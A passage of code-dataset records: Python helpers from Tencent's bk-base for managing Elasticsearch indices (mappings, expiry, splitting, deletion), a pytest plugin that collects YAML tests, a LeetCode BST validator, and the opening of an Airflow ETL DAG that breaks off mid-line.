_is_alias_point_to_index(es_addr, es_auth, alias, index_name):\n \"\"\"\n 验证es中的别名是否指向指定的索引，返回验证结果\n :param es_addr: es集群地址\n :param es_auth: es权限校验信息\n :param alias: 索引的别名\n :param index_name: 索引名称\n :return: True/False\n \"\"\"\n res = requests.get(url=f\"http://{es_addr}/_alias/{alias}\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n # 首先验证返回的结果中只包含一个key，然后验证key的值和索引名称相同，此时能确定alias指向了index，且唯一\n if res.status_code == 200:\n result = res.json()\n if len(result) == 1 and index_name in result:\n return True\n\n logger.warning(f\"{es_addr}: alias {alias} is not point to index {index_name}. {res.status_code}, {res.text}\")\n return False\n\n\ndef _delete_index(es_addr, es_auth, indices):\n \"\"\"\n 删除es集群中的指定索引\n :param es_addr: es集群地址\n :param es_auth: es权限校验信息\n :param indices: 索引名称，多个索引用逗号串起来\n :return: 删除成功与否，True/False\n \"\"\"\n res = requests.delete(f\"http://{es_addr}/{indices}\", auth=es_auth, timeout=600)\n if res.status_code == 200:\n return True\n else:\n logger.warning(f\"{es_addr}: failed to delete indices {indices}. {res.status_code} {res.text}\")\n return False\n\n\ndef _get_valid_rt_indices(indices):\n \"\"\"\n 在输入的索引列表中找到合法的rt和rt对应的索引列表（倒序，最新时间的索引名称在前）。\n :param indices: 索引名称列表\n :return: 元组，第一个是rt和对应的索引列表的字典，第二个是不合法的索引列表\n \"\"\"\n rt_sort_index_list = {}\n bad_indices = []\n\n for index_name in indices:\n # 符合要求的索引 611_etl_docker_2018070700 ，包含rtid + _ + yyyyMMdd + xx （xx编号可有可无，默认00）\n if re.search(r\"^\\d+_\\w+_\\d{8,}$\", index_name) is None:\n # 不符合要求的es索引名称，不是es入库所使用的索引\n skip = False\n for prefix in SKIP_ES_INDEX_PREFIX:\n if index_name.startswith(prefix):\n skip = True\n break\n if not skip:\n bad_indices.append(index_name)\n else:\n rt = \"_\".join(index_name.split(\"_\")[0:-1])\n if rt not in rt_sort_index_list:\n rt_sort_index_list[rt] = [index_name]\n else:\n rt_sort_index_list[rt].append(index_name)\n\n for index_name_list in list(rt_sort_index_list.values()):\n index_name_list.sort(reverse=True)\n\n return rt_sort_index_list, bad_indices\n\n\ndef _get_es_indices(es_addr, es_auth, index_prefix=\"\"):\n \"\"\"\n 获取es集群中符合匹配规则的所有正常的索引列表，不包含状态为closed的索引。\n :param es_addr: es集群地址\n :param es_auth: es集群的鉴权信息\n :param index_prefix: 检索的es索引的前缀，默认为空字符串\n :return: es集群中正常的索引列表\n \"\"\"\n res = requests.get(\n f\"http://{es_addr}/_cat/indices?h=index,status&format=json&index={index_prefix}*\",\n auth=es_auth,\n timeout=HTTP_REQUEST_TIMEOUT,\n )\n indices = []\n not_open_indices = []\n if res.status_code == 200:\n for item in res.json():\n if item[STATUS] == \"open\":\n indices.append(item[INDEX])\n else:\n not_open_indices.append(item[INDEX])\n else:\n logger.warning(f\"{es_addr}: get indices list failed. {res.status_code} {res.text}\")\n\n if not_open_indices:\n logger.info(f\"{es_addr}: not open indices are {json.dumps(not_open_indices)}\")\n\n return indices\n\n\ndef _get_es_index_pri_docs(es_addr, es_auth, index_name):\n \"\"\"\n 获取es集群中索引的docs。\n :param es_addr: es集群地址\n :param es_auth: es集群的鉴权信息\n :param index_name: 索引名称\n :return: es集群中索引的docs。\n \"\"\"\n res = requests.get(\n f\"http://{es_addr}/_cat/indices/{index_name}?v&s=index&format=json\",\n auth=es_auth,\n timeout=HTTP_REQUEST_TIMEOUT,\n )\n docs = 0\n pri_shard_num = 0\n if res.status_code == 200 and res.json():\n docs = int(res.json()[0][\"docs.count\"])\n pri_shard_num = int(res.json()[0][\"pri\"])\n else:\n logger.warning(f\"{es_addr}: get index docs failed. {res.status_code} {res.text}\")\n\n return pri_shard_num, docs\n\n\ndef _trans_fields_to_es_conf(fields, es_storage_conf):\n \"\"\"\n 将rt的字段转换为es中的字段和类型\n :param fields: rt中的字段列表\n :param es_storage_conf: rt的es相关存储配置\n :return: es中的mapping相关配置\n \"\"\"\n # 页面上配置支持分词字段、聚合字段、json字段三种配置。时间字段为默认的，用户不可配置。\n result_conf = {\n ANALYZED_FIELDS: [],\n DATE_FIELDS: [DTEVENTTIMESTAMP], # 时间字段用户不可配置\n DOC_VALUES_FIELDS: [DTEVENTTIMESTAMP], # 时间戳固定作为聚合字段\n JSON_FIELDS: [],\n }\n # 默认删除rt中的timestamp/offset字段，增加_iteration_idx字段，将字段映射为es中的字段配置\n for field in fields:\n field_name = field[FIELD_NAME]\n if field_name not in SKIP_RT_FIELDS:\n # TODO analyzed_fields（分词） 和 doc_values_fields（聚合） 应该互斥，keyword支持聚合，text不支持\n if ANALYZED_FIELDS in es_storage_conf and field_name in es_storage_conf[ANALYZED_FIELDS]:\n result_conf[ANALYZED_FIELDS].append(field_name)\n if JSON_FIELDS in es_storage_conf and field_name in es_storage_conf[JSON_FIELDS]:\n result_conf[JSON_FIELDS].append(field_name)\n if (\n field_name != DTEVENTTIMESTAMP\n and DOC_VALUES_FIELDS in es_storage_conf\n and field_name in es_storage_conf[DOC_VALUES_FIELDS]\n ):\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n\n # TODO 兼容旧逻辑中将几个字段默认作为聚合字段的逻辑，后续需全部迁移到es的存储配置中\n for field_name in AUTO_CREATE_FIELD:\n if field_name not in result_conf[DOC_VALUES_FIELDS]:\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n\n return result_conf\n\n\ndef _trans_mapping_to_es_conf(es_mapping, es_version):\n \"\"\"\n 将es索引的mapping转换为es存储的配置，以便于和rt的es存储配置对比。\n :param es_mapping: es索引的mapping，json对象\n :return: 索引的mapping转换的es存储的配置对象\n \"\"\"\n result_conf = {ANALYZED_FIELDS: [], DATE_FIELDS: [], DOC_VALUES_FIELDS: [], JSON_FIELDS: []}\n for field_name, value in list(es_mapping[PROPERTIES].items()):\n if field_name == \"_copy\" and _extract_big_version(es_version) >= 6:\n # 跳过6.x版本中默认添加的_copy字段，此字段功能类似以前版本的_all字段\n continue\n if PROPERTIES in value or value[TYPE] == OBJECT:\n # json格式的字段无法分词，也无法聚合\n result_conf[JSON_FIELDS].append(field_name)\n continue\n if value[TYPE] == TEXT:\n # text字段即为分词的字段，无法用作聚合\n result_conf[ANALYZED_FIELDS].append(field_name)\n else:\n if DOC_VALUES not in value:\n # doc_values默认值为true，只有显示设置为false的时候，才会在mapping中体现\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n if value[TYPE] == DATE:\n result_conf[DATE_FIELDS].append(field_name)\n\n # TODO 兼容旧逻辑中将几个字段默认作为聚合字段的逻辑，后续需全部迁移到es的存储配置中\n for field_name in AUTO_CREATE_FIELD:\n if field_name not in result_conf[DOC_VALUES_FIELDS]:\n result_conf[DOC_VALUES_FIELDS].append(field_name)\n\n return result_conf\n\n\ndef _is_schema_changed(rt_info, json_mapping):\n \"\"\"\n 根据rt的es存储配置计算es的mapping内容，和实际es集群中此rt对应的索引的mapping进行对比，返回对比结果\n :param rt_info: rt的配置\n :param json_mapping: rt对应es中索引的mapping\n :return: 是否rt对应的mapping发生了变化，True/False\n \"\"\"\n config_from_api = json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG])\n rt_es_config = _trans_fields_to_es_conf(rt_info[FIELDS], config_from_api)\n\n # from ES\n version = rt_info[STORAGES][ES][STORAGE_CLUSTER][VERSION]\n index_type = rt_info[RESULT_TABLE_NAME].lower() # index_type即为rt的result_table_name字段\n properties = json_mapping if _extract_big_version(version) >= 7 else json_mapping[index_type]\n es_config = _trans_mapping_to_es_conf(properties, version)\n\n result = not _is_subset(rt_es_config, es_config)\n logger.info(\n f\"{rt_info[RESULT_TABLE_ID]} es storage config changed is {result}. from rt conf/from es \"\n f\"index: {json.dumps(rt_es_config)}, {json.dumps(es_config)}\"\n )\n return result\n\n\ndef _is_replica_changed(rt_info, current_replica):\n \"\"\"\n 根据rt的es存储配置中副本设置和实际索引中副本设置进行对比，返回是否副本设置相同\n :param rt_info: rt的配置\n :param current_replica: 当前索引的副本数量\n :return: 是否rt对应的副本设置发生了变化，True/False\n \"\"\"\n config_from_api = json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG])\n num_replica = _get_replica_num(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO], config_from_api)\n return num_replica != current_replica\n\n\ndef _get_replica_num(conn_info, es_conf):\n \"\"\"\n 根据rt的es存储配置，以及配置文件中的配置，返回es存储的副本数\n :param conn_info: es集群配置\n :param es_conf: es配置项\n :return: es存储的副本数\n \"\"\"\n conn = json.loads(conn_info)\n num_replica = 0\n if (\n ENABLE_REPLICA in conn\n and type(conn[ENABLE_REPLICA]) == bool\n and conn[ENABLE_REPLICA]\n and HAS_REPLICA in es_conf\n and type(es_conf[HAS_REPLICA]) == bool\n and es_conf[HAS_REPLICA]\n ):\n # 当集群配置了启用副本，且rt的存储配置上指定了副本时，设定索引的副本数\n num_replica = REPLICA_NUM\n\n return num_replica\n\n\ndef _construct_mapping(rt_info, num_shard, index_tag, total_shards_per_node=TOTAL_SHARDS_PER_NODE):\n \"\"\"\n 构造rt对应的es索引的mapping\n :param rt_info: rt的配置\n :param num_shard: es索引的分片数\n :param index_tag: es索引的tag\n :param total_shards_per_node: es索引单节点最大分片数\n :return: rt对应的es索引的mapping字符串\n \"\"\"\n config_from_api = json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG])\n num_replica = _get_replica_num(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO], config_from_api)\n rt_es_config = _trans_fields_to_es_conf(rt_info[FIELDS], config_from_api)\n version = rt_info[STORAGES][ES][STORAGE_CLUSTER][VERSION]\n\n # ES 6.x使用的字段\n copy_to_field_name = \"_copy\"\n\n mapping_field_dict = {}\n rt_field_dict = {}\n for field_name, field_type in list(_trans_rt_fields(rt_info[FIELDS]).items()):\n rt_field_dict[field_name] = field_type\n mapping_dict_value = {}\n if _extract_big_version(version) < 6:\n mapping_dict_value[INCLUDE_IN_ALL] = FALSE\n # 分词字段、json字段、聚合字段存在互斥关系\n if field_name in rt_es_config[ANALYZED_FIELDS]:\n mapping_dict_value[TYPE] = TEXT\n mapping_dict_value[DOC_VALUES] = FALSE\n if _extract_big_version(version) >= 6:\n mapping_dict_value[\"copy_to\"] = copy_to_field_name\n else:\n mapping_dict_value[INCLUDE_IN_ALL] = TRUE\n elif field_name in rt_es_config[JSON_FIELDS]:\n mapping_dict_value[TYPE] = OBJECT\n elif field_name in rt_es_config[DOC_VALUES_FIELDS]:\n mapping_dict_value[TYPE] = _convert_to_es_type(field_type)\n else:\n # 普通字段，设置为非聚合\n mapping_dict_value[TYPE] = _convert_to_es_type(field_type)\n mapping_dict_value[DOC_VALUES] = FALSE\n\n # 处理时间字段\n if field_name in rt_es_config[DATE_FIELDS]:\n mapping_dict_value[TYPE] = DATE\n mapping_dict_value[\"format\"] = (\n \"yyyy-MM-dd HH:mm:ss\"\n if field_name == DTEVENTTIME\n else \"epoch_millis\"\n if field_name == DTEVENTTIMESTAMP\n else \"strict_date_optional_time||yyyy-MM-dd HH:mm:ss||epoch_millis\"\n )\n # 添加到mapping中\n mapping_field_dict[field_name] = mapping_dict_value\n\n logger.info(\n f\"{rt_info[RESULT_TABLE_ID]}: rt fields {json.dumps(rt_field_dict)}, \"\n f\"mapping fields {json.dumps(mapping_field_dict)}\"\n )\n index_type = rt_info[RESULT_TABLE_NAME].lower() # index_type即为rt的result_table_name字段\n\n # 单节点最大分片数据，当存在副本且数据量很小时，可能存在分片比较集中的情况，但是默认只有3个分片而已。\n # 对于大索引，必须要求最大分片数超过或者等于热节点数（否则，当存在副本情况下，可能无法分配分片），且单个节点索引最大分片数为默认分片数的副本数倍数\n # total_shards_per_node 默认为2，避免节点故障无法分配分片\n index_mapping = {SETTINGS: {INDEX: {\"number_of_shards\": f\"{num_shard}\", NUMBER_OF_REPLICAS: f\"{num_replica}\"}}}\n\n if NODE_HAS_TAG:\n index_mapping[SETTINGS][INDEX][ROUTING] = {ALLOCATION: {INCLUDE: {TAG: f\"{index_tag}\"}}}\n\n # 只在内部版开启\n if RUN_VERSION == VERSION_IEOD_NAME:\n index_mapping[SETTINGS][INDEX][ROUTING][ALLOCATION][\"total_shards_per_node\"] = (\n total_shards_per_node + num_replica\n )\n\n dynamic_templates = [\n {\"strings_as_keywords\": {\"match_mapping_type\": STRING, \"mapping\": {\"norms\": FALSE, TYPE: KEYWORD}}}\n ]\n if _extract_big_version(version) >= 7:\n index_mapping[MAPPINGS] = {\"dynamic_templates\": dynamic_templates}\n else:\n index_mapping[MAPPINGS] = {f\"{index_type}\": {\"dynamic_templates\": dynamic_templates}}\n\n # 对于6.x版本的es，其mapping和旧版本（多数为5.x）不一样\n if _extract_big_version(version) >= 6:\n mapping_field_dict[copy_to_field_name] = {TYPE: TEXT}\n else:\n index_mapping[MAPPINGS][index_type][\"_all\"] = {\"enabled\": TRUE}\n\n if _extract_big_version(version) >= 7:\n index_mapping[MAPPINGS][PROPERTIES] = mapping_field_dict\n else:\n index_mapping[MAPPINGS][index_type][PROPERTIES] = mapping_field_dict\n\n return json.dumps(index_mapping)\n\n\ndef _get_index_mapping_from_es(es_addr, es_auth, index):\n \"\"\"\n 获取es中索引的mapping信息\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: es索引的mapping信息\n \"\"\"\n res = requests.get(f\"http://{es_addr}/{index}/_mappings\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n return res.json()[index][MAPPINGS]\n else:\n logger.warning(f\"{es_addr}: get index {index} mappings failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef _get_index_settings_from_es(es_addr, es_auth, index):\n \"\"\"\n 获取es索引的settings设置\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: es索引的settings设置\n \"\"\"\n res = requests.get(f\"http://{es_addr}/{index}/_settings\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n return res.json()\n else:\n logger.warning(f\"{es_addr}: get index {index} settings failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef _get_sample_data_from_es(es_addr, es_auth, index):\n \"\"\"\n 从指定索引中查找最新的十条数据并返回\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: es索引中的最新十条数据\n \"\"\"\n res = requests.post(\n f\"http://{es_addr}/{index}/_search/\",\n auth=es_auth,\n headers=JSON_HEADERS,\n data=json.dumps({\"sort\": [{DTEVENTTIMESTAMP: {ORDER: \"desc\"}}], \"from\": 0, \"size\": 10}),\n )\n if res.status_code == 200:\n return res.json()\n else:\n logger.warning(f\"{es_addr}: query index {index} failed. {res.status_code} {res.text}\")\n return {}\n\n\ndef _is_subset(small_conf_dict, big_conf_dict):\n \"\"\"\n 判断一个配置集是否为另一个配置集的子集，如果是，返回True，否则返回False\n :param small_conf_dict: 较小的配置集对象\n :param big_conf_dict: 较大的配置集对象\n :return: True/False\n \"\"\"\n for key, value_list in list(small_conf_dict.items()):\n if key not in list(big_conf_dict.keys()):\n return False\n else:\n for value in value_list:\n if value not in big_conf_dict[key]:\n return False\n return True\n\n\ndef _get_new_index_name(rt, max_index_name=None):\n \"\"\"\n 构造es中rt对应的最新索引名称\n :param rt: result table id\n :param max_index_name: es中此rt对应的最大的索引名称\n :return: rt最新的索引名称\n \"\"\"\n today = util.get_date_by_diff(0) # in case of 20180132 -> 20180201\n index_name = f\"{rt}_{today}00\" # 默认索引名称为rt + _ + 当前日期 + 00\n if max_index_name:\n index_date_num = max_index_name.split(\"_\")[-1]\n if today in index_date_num: # 当前最大的索引名称为当天创建的，则在最后两位上加一\n index_name = f\"{rt}_{int(index_date_num) + 1}\"\n\n return index_name.lower() # es 中索引只能是小写字符\n\n\ndef _trans_rt_fields(fields):\n \"\"\"\n 将rt的字段列表转换为在es中的字段列表\n :param fields: rt的字段列表\n :return: es中的字段列表，包含字段名称和类型\n \"\"\"\n result = {DTEVENTTIMESTAMP: DATE}\n for field in fields:\n if field[FIELD_NAME] not in SKIP_RT_FIELDS:\n result[field[FIELD_NAME]] = field[FIELD_TYPE]\n return result\n\n\ndef _convert_to_es_type(field_type):\n \"\"\"\n 将rt的字段类型映射为es中的数据类型\n :param field_type: rt的字段类型\n :return: es中的数据类型\n \"\"\"\n if INT == field_type:\n return INTEGER\n elif field_type in [LONG, FLOAT, DOUBLE]:\n return field_type\n else:\n return KEYWORD\n\n\ndef _expired_index_list(result_table_id, expires, index_name_list):\n \"\"\"\n 从index列表中获取待删除的index，这里要列表类似[rt_2019061400, rt_2019060600, rt_2019052900]，其中0529存储的\n 是0529~0606的数据，清理时需要0606达到过期时间，并删除0529，不能看到0529已到清理时间就直接清除掉。\n :param result_table_id: rt的id\n :param expires: rt的过期时间配置\n :param index_name_list: rt的索引列表，倒序排列。\n :return: 需要删除的索引的列表\n \"\"\"\n expired_index_name_list = []\n length = len(index_name_list)\n days = util.translate_expires_day(expires)\n if length <= RESERVED_INDEX_NUM or days <= 0:\n return expired_index_name_list\n\n expired_date = int(util.get_date_by_diff(-days))\n suffix_idx = len(result_table_id) + 1\n for i in range(length):\n # 截取索引名中尾部的时间那一段（591_etl_abc_2018090202 -> 2018090902，这里有可能最后一段是0）\n date_suffix = index_name_list[i][suffix_idx:]\n if len(date_suffix) < 8:\n # 不合法的索引名称\n expired_index_name_list.append(index_name_list[i])\n elif int(date_suffix[0:8]) < expired_date:\n # idx代表第一个创建日期小于expired_date的index的下标位置加1，即开始删除的位置\n idx = max(i + 1, RESERVED_INDEX_NUM)\n expired_index_name_list.extend(index_name_list[idx:])\n break\n\n logger.debug(f\"{result_table_id}: indices expired are {json.dumps(expired_index_name_list)}\")\n return expired_index_name_list\n\n\ndef _index_need_splitting(index, index_size, connection_info, pri_shard_num, docs, shard_docs_limit):\n \"\"\"\n 获取是否需要强制分裂当前的索引\n 现在的分裂条件判断过程：\n 1）index 为空不分裂\n 2）docs数超出限制，分裂\n 3）字节总量index size超过限制，分裂\n 4）index不为空，且超出分裂日期，分裂\n 5) 其他情况不分裂\n :param index: 索引名称\n :param index_size: 索引的字节数\n :param connection_info: 连接信息\n :param pri_shard_num: 主分片数据\n :param docs: index docs\n :param shard_docs_limit: 单分片docs限制\n :return: 是否需要分裂索引\n \"\"\"\n if docs == 0:\n return False\n\n index_split_threshold_in_byte, force_split_days = _get_split_index_condition(connection_info)\n index_date = int(index.split(\"_\")[-1][0:8])\n force_split_date = int(util.get_date_by_diff(-force_split_days))\n if (\n docs >= pri_shard_num * shard_docs_limit\n or index_size >= index_split_threshold_in_byte\n or force_split_date >= index_date\n ):\n return True\n\n return False\n\n\ndef _get_index_size(es_addr, es_auth, index):\n \"\"\"\n 获取当前索引的字节数\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: 索引包含的字节数\n \"\"\"\n res = requests.get(f\"http://{es_addr}/{index}/_stats/store\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n try:\n return res.json()[INDICES][index][\"primaries\"][\"store\"][\"size_in_bytes\"]\n except Exception:\n logger.info(f\"{es_addr}: failed to get index {index} size. \", exc_info=True)\n else:\n logger.warning(f\"{es_addr}: failed to get {index} stats. {res.status_code} {res.text}\")\n\n return 0\n\n\ndef _get_index_allocation_tag(es_addr, es_auth, index):\n \"\"\"\n 获取es索引中allocation tag配置项的值\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: allocatoin tag的值\n \"\"\"\n tag = TAG_HOT # 假定获取失败时，使用热节点的tag\n es_settings = _get_index_settings_from_es(es_addr, es_auth, index)\n try:\n tag = es_settings[index][SETTINGS][INDEX][ROUTING][ALLOCATION][INCLUDE][TAG]\n except Exception:\n logger.error(\n f\"{es_addr}: failed to get {index} allocation tag from settings {json.dumps(es_settings)}.\",\n exc_info=True,\n )\n\n return tag\n\n\ndef _get_index_replica(es_addr, es_auth, index):\n \"\"\"\n 获取es索引中number_of_replicas配置项的值\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: number_of_replicas的值\n \"\"\"\n replica = REPLICA_NUM # 假定获取失败时，使用默认副本设置\n es_settings = _get_index_settings_from_es(es_addr, es_auth, index)\n try:\n replica = int(es_settings[index][SETTINGS][INDEX][NUMBER_OF_REPLICAS])\n except Exception:\n logger.error(\n f\"{es_addr}: failed to get {index} number_of_replicas from settings {json.dumps(es_settings)}.\",\n exc_info=True,\n )\n\n return replica\n\n\ndef _put_index_settings(es_addr, es_auth, index, put_dict):\n \"\"\"\n 更新es索引的settings中配置项\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :param put_dict: 更新的配置项字典\n \"\"\"\n url = f\"http://{es_addr}/{index}/_settings?master_timeout=240s\"\n res = requests.put(url, data=json.dumps(put_dict), headers=JSON_HEADERS, auth=es_auth, timeout=600)\n if res.status_code != 200:\n logger.warning(f\"{es_addr}: failed to update index {index} settings {put_dict}. {res.status_code} {res.text}\")\n\n\ndef _extract_big_version(version):\n \"\"\"\n 从给定的version中抽取大版本号,如：7.4.2 -> 7\n :param version: 完整的版本号\n :return: 数字类型的大版本号\n \"\"\"\n return int(version.split(\".\")[0])\n\n\ndef route_es_request(uri, cluster_name):\n \"\"\"\n :param uri: 请求相对路径\n :param cluster_name: 集群名称\n \"\"\"\n cluster = model_manager.get_cluster_obj_by_name_type(cluster_name, ES)\n if not cluster:\n raise ClusterNotFoundException(message_kv={CLUSTER_TYPE: ES, CLUSTER_NAME: cluster_name})\n\n es_addr, es_auth = parse_es_connection_info(cluster.connection_info)\n\n url = f\"http://{es_addr}/{uri}\"\n res = requests.get(url=url, auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n logger.info(f\"route es request, url: {url}, status: {res.status_code}\")\n\n if res.status_code == 200:\n return res.text\n else:\n logger.warning(f\"{es_addr}: route es request failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef cat_indices(cluster_name, limit):\n \"\"\"\n :param cluster_name: 集群名称\n :param limit: 结果表限制数\n \"\"\"\n es_addr, es_auth = es_conn_info(cluster_name)\n\n url = f\"http://{es_addr}/_cat/indices?v&s={STORE_SIZE}:desc&format=json&master_timeout=300s\"\n res = requests.get(url=url, auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n logger.info(f\"cat indices request, url: {url}, status: {res.status_code}\")\n\n result = {TOP: [], INDICES: []}\n\n if res.status_code == 200:\n indices_list = res.json()\n result[INDICES] = indices_list\n\n # 过滤出大于条数阀值的rt列表，过滤掉非法index\n filter_indices = [s for s in indices_list if re.search(r\"^\\d+_\\w+_\\d{8,}$\", s[INDEX]) is not None]\n range_index = len(filter_indices) if limit > len(filter_indices) else limit\n result[TOP] = [filter_indices[i][INDEX] for i in range(range_index)]\n return result\n else:\n logger.warning(f\"{es_addr}: cat indices request failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef del_indices(cluster_name, indices):\n \"\"\"\n :param cluster_name: 集群名称\n :param indices: 索引列表，支持通配符\n \"\"\"\n es_addr, es_auth = es_conn_info(cluster_name)\n index_list = indices.split(\",\")\n error_list = []\n success_list = []\n for index in index_list:\n url = f\"http://{es_addr}/{index}?master_timeout=300s\"\n try:\n res = requests.delete(url=url, auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n logger.info(f\"del indices request, url: {url}, status: {res.status_code}\")\n if res.status_code == 200:\n success_list.append(index)\n else:\n logger.error(f\"{es_addr}: {index}: failed to del indices for {res.text}\")\n error_list.append(index)\n except Exception:\n error_list.append(index)\n logger.error(f\"{es_addr}: {index}: del indices exception.\", exc_info=True)\n\n return {SUCCESS: success_list, FAILED: error_list}\n\n\ndef es_conn_info(cluster_name):\n \"\"\"\n 获取es连接信息\n :param cluster_name: 集群名称\n \"\"\"\n cluster = model_manager.get_cluster_obj_by_name_type(cluster_name, ES)\n if not cluster:\n raise ClusterNotFoundException(message_kv={CLUSTER_TYPE: ES, CLUSTER_NAME: cluster_name})\n\n es_addr, es_auth = parse_es_connection_info(cluster.connection_info)\n return es_addr, es_auth\n","repo_name":"Tencent/bk-base","sub_path":"src/api/datahub/storekit/es.py","file_name":"es.py","file_ext":"py","file_size_in_byte":52487,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"18"} +{"seq_id":"72170288359","text":"\"\"\"Work in progress\n\nObjectives:\n\n - Write a pytest plugin that will collect \"test*.yaml\" files and executed the yaml-formatted content as custom tests\n\n\"\"\"\nfrom py._path.local import LocalPath\nimport typing\n\nfrom _pytest import nodes\nimport pytest\nimport yaml\n\nfrom kapla.test.specs import YamlFileSpec, YamlItemSpec\n\n\nclass YamlItem(pytest.Item):\n def __init__(\n self,\n parent: nodes.Node,\n spec: YamlItemSpec,\n ) -> None:\n \"\"\"YamlItem should never be created manually.\n\n The YamlFile.collect() method is responsible for iterating over a\n YAML test file and creating YamlItem instances.\n \"\"\"\n super().__init__(spec.name, parent=parent)\n self.spec = spec\n\n def runtest(self) -> None:\n \"\"\"A dummy function to run tests.\n\n It is possible to access to `self.spec` attribute within this function.\n \"\"\"\n assert True\n\n\nclass YamlFile(pytest.File):\n def collect(self) -> typing.Iterable[typing.Union[pytest.Item, pytest.Collector]]:\n \"\"\"Yield test items from given YAML file.\n\n Pytest is designed so that once test files are discovered, tests are discovered within test files.\n Each discovered file is represented as an instance of a child class of `pytest.File` abstract class.\n\n Tests are discovered within file using the `pytest.File.collect()` method.\n\n In this method, we parse the content of a YAML file and expect it to match a specific schema.\n Once content is validated, we iterate over tests present in file and yield them as instances\n \"\"\"\n raw = yaml.safe_load(self.fspath.open())\n spec = YamlFileSpec.parse_obj(raw)\n for test in spec.tests:\n # Let's build variables and groups using both global values and test values\n # If variables are specified both globally and locally, local value (test value) is used\n variables = {**spec.variables, **test.variables}\n groups = list(set([*spec.groups, *test.groups]))\n spec = YamlItemSpec.construct(\n name=test.name,\n description=test.description,\n variables=variables,\n groups=groups,\n )\n yield YamlItem.from_parent(self, spec=spec)\n\n\ndef pytest_collect_file(parent: nodes.Node, path: LocalPath) -> typing.Any:\n \"\"\"Magic function used by pytest to collect files.\"\"\"\n if path.ext.lower() in (\".yaml\", \".yml\") and path.basename.startswith(\"test\"):\n return YamlFile.from_parent(parent, fspath=path)\n","repo_name":"charbonnierg/kapla-test","sub_path":"kapla/test/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31062495588","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nDesc:\nFile: 验证二叉搜索树.py\nAuthor: fangeng\nDate: 2020/5/5 15:00\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n \"\"\"\n 给定一个二叉树，判断其是否是一个有效的二叉搜索树。\n\n 假设一个二叉搜索树具有如下特征：\n 节点的左子树只包含小于当前节点的数。\n 节点的右子树只包含大于当前节点的数。\n 所有左子树和右子树自身必须也是二叉搜索树。\n\n \"\"\"\n\n def isValidBST(self, root: TreeNode) -> bool:\n if not root:\n return True\n stack = []\n pre = float('-inf')\n\n cur = root\n\n while len(stack) > 0 or cur:\n while cur:\n stack.append(cur)\n cur = cur.left\n cur = stack.pop()\n if pre < cur.val:\n pre = cur.val\n else:\n return False\n cur = cur.right\n return True\n","repo_name":"jony0113/leetcode","sub_path":"验证二叉搜索树.py","file_name":"验证二叉搜索树.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39433175713","text":"from datetime import datetime, timedelta\n\nfrom airflow import DAG\nfrom airflow.decorators import dag, task_group\n\nfrom src.dag_etl_openmeteo.tasks.start import start\nfrom src.dag_etl_openmeteo.tasks.end import end\nfrom src.dag_etl_openmeteo.tasks.read_stores import (\n read_stores,\n)\nfrom src.dag_etl_openmeteo.tasks.fetch_data_and_save_csv import (\n fetch_data_and_save_csv,\n)\nfrom src.dag_etl_openmeteo.tasks.transform_csv_data_and_save import (\n transform_csv_data_and_save,\n)\nfrom src.dag_etl_openmeteo.tasks.load_csv_to_staging import (\n load_csv_to_staging,\n)\nfrom src.dag_etl_openmeteo.tasks.transform_staging_data import (\n transform_staging_data,\n)\nfrom src.dag_etl_openmeteo.tasks.merge_into_target import (\n merge_into_target,\n)\n\n\ndefault_args = {\n \"owner\": \"gravagnani\",\n \"retries\": 0,\n \"retry_delay\": timedelta(minutes=5),\n}\n\n\n@dag(\n default_args=default_args,\n dag_id=\"dag_etl_openmeteo\",\n description=\"An ETL to import Open Meteo Data\",\n start_date=datetime(2023, 8, 15),\n schedule=None,\n # schedule_interval=\"@daily\",\n catchup=False,\n concurrency=10,\n params={\"start_date\": \"2021-07-19\", \"end_date\": \"2023-07-21\"},\n)\ndef dag_etl_openmeteo():\n @task_group(group_id=\"tg_etl_openmeteo_store\")\n def tg_etl_openmeteo_store(tgg_store):\n # Define ETL Store Level\n @task_group(group_id=\"tg_extract\")\n def tg_extract(tg_store):\n t1 = fetch_data_and_save_csv(store=tg_store)\n t2 = transform_csv_data_and_save(t1)\n t3 = load_csv_to_staging(t2)\n\n return 